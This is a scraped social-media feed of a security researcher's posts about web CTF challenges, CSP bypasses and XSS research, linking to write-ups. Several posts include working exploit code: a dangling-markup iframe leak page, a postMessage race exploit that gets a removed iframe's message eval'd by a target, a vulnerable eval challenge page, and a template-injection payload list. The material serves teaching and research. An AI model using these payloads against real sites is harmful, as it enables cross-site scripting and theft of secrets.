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Jorian @jorianwoltjer.com · 2d

Follow your rabbit holes is the takeaway from my latest CTF writeup.
I found several interesting techniques that can help tricky situations, such as using the Connection Pool to make Client-Side Race Conditions easier!

Read the whole thing on my blog:
jorianwoltjer.com/blog/p/ctf/o...

openECSC 2025 - kittychat-secure | Jorian Woltjer

Overcomplicating a hard client-side web challenge involving complex CSP script gadgets. Exploit Math.random() predictability, and learn how to use the Connection Pool to make Race Conditions easier.

jorianwoltjer.com

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Jorian @jorianwoltjer.com · 7d

I posted 2 more small articles to the Critical Thinking Research Lab:
* Nonce CSS leak in MathML: lab.ctbb.show/research/lea...
* HTML fun facts: lab.ctbb.show/research/htm...

Leaking CSP nonces with CSS & MathML

By dangling a tag in HTML, leaking nonce attributes via CSS is possible again!

lab.ctbb.show

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Jorian @jorianwoltjer.com · 26d

My first post for the @ctbbpodcast.bsky.social Research Lab is live.
Super excited to be part of this team, can't wait to see what crazy research is gonna come from this!
lab.ctbb.show/research/Exp...

Exploiting Web Worker XSS with Blobs

Ways to turn XSS in a Web Worker into full XSS, covering known tricks and a new generic exploit using Blob URLs with the Drag and Drop API

lab.ctbb.show

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Jorian @jorianwoltjer.com · 26d

AMAZING technique by @salvatoreabello, I've been inspired by the connection pool exploits he comes up with.
Check out this crazy impact labeled as "working as intended":
blog.babelo.xyz/posts/cross-...

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Jorian @jorianwoltjer.com · 29d

Forgot to add what we leak, this is the result:

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Jorian @jorianwoltjer.com · 29d

On our attacker's page, we load this in an iframe and can then access [0] to get a reference to our injected object. To read its name, we can set its location to *our* about:blank and then read the .name window property (set by the attribute)!

<iframe id="iframe" src="https://target.tld/dangling-object"></iframe>
<script>
iframe.onload = () => {
const object = iframe.contentWindow[0];
object.location = "about:blank"; // Navigate to our same-origin
const interval = setInterval(() => {
object.origin; // When it becomes same-origin
clearInterval(interval);
alert(object.name); // Leak its name (kept after navigation)
})
}
</script>

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Jorian @jorianwoltjer.com · 29d

While playing a challenge by Salvatore Abello, I found a pretty interesting way to exploit Dangling Markup with a strict CSP.
All you need is an <iframe>, <object> or <embed> set to about:blank, with a dangling name= attribute. This vulnerable page should be iframable.

Content-Security-Policy: default-src 'none'

<object data="about:blank" name='
<form>
<input type="hidden" name="csrf" value="SECRET">
</form>
<script>
console.log('Hello, world!');
</script>

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Jorian @jorianwoltjer.com · Sep 13

Final exploit code:
gist.github.com/JorianWoltje...
Thanks Omid sharing this challenge!

onclick = () => {
window.open(location.href);
location = "http://127.0.0.1:8000/vuln.html";
}
setTimeout(() => {
const iframe = document.createElement("iframe");
iframe.srcdoc = "";
document.body.appendChild(iframe);
iframe.onload = () => {
iframe.contentWindow.eval('top.opener.postMessage("alert(origin)", "*")');
iframe.remove();
}
}, 1000);

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Jorian @jorianwoltjer.com · Sep 13

We first duplicate our page, then navigate the first tab to the target. From our 2nd tab, the iframe can now access `top.opener` to send a message to the target. Quickly after, the parent removes the iframe and the `event.source` becomes `null`.

Target tab on the left, and attacker tab on the right with an iframe inside. Arrow pointing from iframe up to parent with `.top`, and then to the left target window with `.opener`

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Jorian @jorianwoltjer.com · Sep 13

In our exploit we can do the same:
1. Create a same-origin iframe
2. Make the iframe send a message to the target window
3. Instantly remove the iframe from the DOM

There's a few ways to get a reference to the target window from inside the iframe, but I used `opener` as follows:

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Jorian @jorianwoltjer.com · Sep 13

The solution comes from an obscure 2012 discussion where the developer noticed it being `null` in a bug:
groups.google.com/a/chromium.o...
They let an iframe send a message, and the iframe element was removed right after. By the time the receiver handles it the source is gone!

Can the source of a MessageEvent ever be undefined?

groups.google.com

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Jorian @jorianwoltjer.com · Sep 13

We can read that for `undefined` to be loosely equal to something, the other must be either `null` or `undefined`:
developer.mozilla.org/en-US/docs/W...
So how could we potentially unset `event.source` for our malicious message?

Equality (==) - JavaScript | MDN

The equality (==) operator checks whether its two operands are equal, returning a Boolean result. Unlike the strict equality operator, it attempts to convert and compare operands that are of different...

developer.mozilla.org

1

Jorian @jorianwoltjer.com · Sep 13

The main hurdle to overcome is `event.source != window.message_frame?.contentWindow`. The `?.` makes the comparison `undefined` if window.message_frame doesn't exist, which is the case if the user hasn't clicked yet.
Loosely comparing to undefined is all that's protecting it now?

1

Jorian @jorianwoltjer.com · Sep 13

@omidxrz.bsky.social shared this nice postMessage() challenge some time ago.
I'm a bit late, but worth trying if you haven't already :D
Otherwise, my solution is below, it's a really fun technique that makes me re-evaluate all the .source checks I've seen before...

$<!DOCTYPE html> <html> <body> <h1>Impossible</h1> <div id="output">Waiting for messages...</div><br> <button id="loadIframeButton">Load Message Frame</button> <script> document.getElementById('loadIframeButton').addEventListener('click', () => { const iframe = document.createElement('iframe'); iframe.id = 'message_frame'; iframe.srcdoc = '<html><body><script>window.parent.postMessage("document.body.innerHTML = \'<h1>Impossible Message</h1>\'", "*");<\/script></body></html>'; iframe.style.display = 'none'; document.body.appendChild(iframe); }); </script> <script> window.onmessage = function (event) { if (event.source != window.message_frame?.contentWindow || window !== window.top) { document.getElementById('output').innerHTML = "No Hacker!"; return; } document.getElementById('output').innerHTML = "received"; const result = eval(event.data); }; </script> </body> </html>$

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Jorian @jorianwoltjer.com · Aug 27

The last Intigriti challenge by @0xblackbird was a fun combination of SSRF to RCE using a surprisingly exploitable pitfall in NextJS middleware.
Check out my writeup below:
jorianwoltjer.com/blog/p/ctf/i...

Intigriti August RCE Challenge (0825) | Jorian Woltjer

A challenge to achieve RCE through SSRF by @0xblackbird, involving an interesting NextJS middleware pitfall. We build a clean proxy for it and find some extra vulnerabilities along the way.

jorianwoltjer.com

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Jorian @jorianwoltjer.com · Aug 1

(for people having trouble recognizing sarcasm online, this is a joke, I'm not actually becoming a like farmer)

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Jorian @jorianwoltjer.com · Aug 1

#bugbountytips
Template Injection payload list:
{{7*7}}
${7*7}}
49
<%=7*7%>

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Jorian @jorianwoltjer.com · Jul 19

I made a hard @intigriti.com XSS challenge this July 😅
But, it involves some very interesting Mutation XSS & DOM Clobbering fun combined with a CSP Bypass using the powerful SocketIO gadget.
Everything's explained in my writeup below!
jorianwoltjer.com/blog/p/ctf/i...

Intigriti July XSS Challenge (0725) | Jorian Woltjer

My author's writeup of the July 2025 challenge. Perform Mutation XSS to DOM Clobber an change the insertion point into an iframe, then bypass the CSP using a new useful Socket.IO gadget

jorianwoltjer.com

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Jorian @jorianwoltjer.com · Jul 2

The challenge is over now, see my writeup below. Shoutout to all the other solvers too: @RenwaX23, @alfinjose.bsky.social, @slonser_, @sebsrt.bsky.social, @lbrnli1234 and @salvatoreabello. 🎉
bsky.app/profile/jori...

Jorian @jorianwoltjer.com · Jul 2

Here's my writeup the technique allowing some nonce-based CSPs to be bypassed. I think it definitely has some practical use, so included some details about different scenario's.

Don't let that HTML-injection of yours wait!
jorianwoltjer.com/blog/p/resea...

Nonce CSP bypass using Disk Cache | Jorian Woltjer

The solution to my small XSS challenge, explaining a new kind of CSP bypass with browser-cached nonces. Leak it with CSS and learn about Disk Cache to safely update your payload

jorianwoltjer.com

2

Jorian @jorianwoltjer.com · Jul 2

bsky.app/profile/jori...

Jorian @jorianwoltjer.com · Jun 30

Just found an interesting way to bypass some nonce-based CSPs and made a small XSS challenge with an exploitable scenario. See if you can find it before I tell!
Source JS:
gist.github.com/JorianWoltje...
URL:
greeting-chall.jorianwoltjer.com
Found a solution? Please DM to avoid spoilers, thanks!

Jorian @jorianwoltjer.com · Jul 2

Here's my writeup the technique allowing some nonce-based CSPs to be bypassed. I think it definitely has some practical use, so included some details about different scenario's.

Don't let that HTML-injection of yours wait!
jorianwoltjer.com/blog/p/resea...

Nonce CSP bypass using Disk Cache | Jorian Woltjer

The solution to my small XSS challenge, explaining a new kind of CSP bypass with browser-cached nonces. Leak it with CSS and learn about Disk Cache to safely update your payload

jorianwoltjer.com

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Jorian @jorianwoltjer.com · Jun 30

@rebane2001.bsky.social with the first confirmed blood 👏🩸
Great job, my writeup will go out in a few days, so try the challenge while you still can!

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Jorian @jorianwoltjer.com · Jun 30

Just found an interesting way to bypass some nonce-based CSPs and made a small XSS challenge with an exploitable scenario. See if you can find it before I tell!
Source JS:
gist.github.com/JorianWoltje...
URL:
greeting-chall.jorianwoltjer.com
Found a solution? Please DM to avoid spoilers, thanks!

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Jorian @jorianwoltjer.com · Jun 27

This is a Public Service Announcement to all client-side challenge authors:
*XSS on any localhost origin makes RCE possible on selenium!*

Jorian @jorianwoltjer.com · Jun 27

This month @ToG gave us an unusual, but very cool challenge. It required some messing with a headless browser via Arbitrary File Write, and then to use a little-known Chromedriver CSRF → RCE trick. A must-know for challenge-cheesers like myself!
jorianwoltjer.com/blog/p/ctf/i...

Intigriti June RCE Challenge (0625) | Jorian Woltjer

A surprising RCE challenge instead of XSS, created by @ToG. I took an unintended approach involving the Preferences file and a chromedriver CSRF RCE issue, a must-know for CTF authors.

jorianwoltjer.com

3

Jorian @jorianwoltjer.com · Jun 27

Inspired by this challenge, I explored and wrote down some more ways headless browsers can be exploited in different scenarios:
book.jorianwoltjer.com/web/client-s...

Headless Browsers | Practical CTF

Tricks for dealing with input into headless browsers on the server, using client-side methods

book.jorianwoltjer.com

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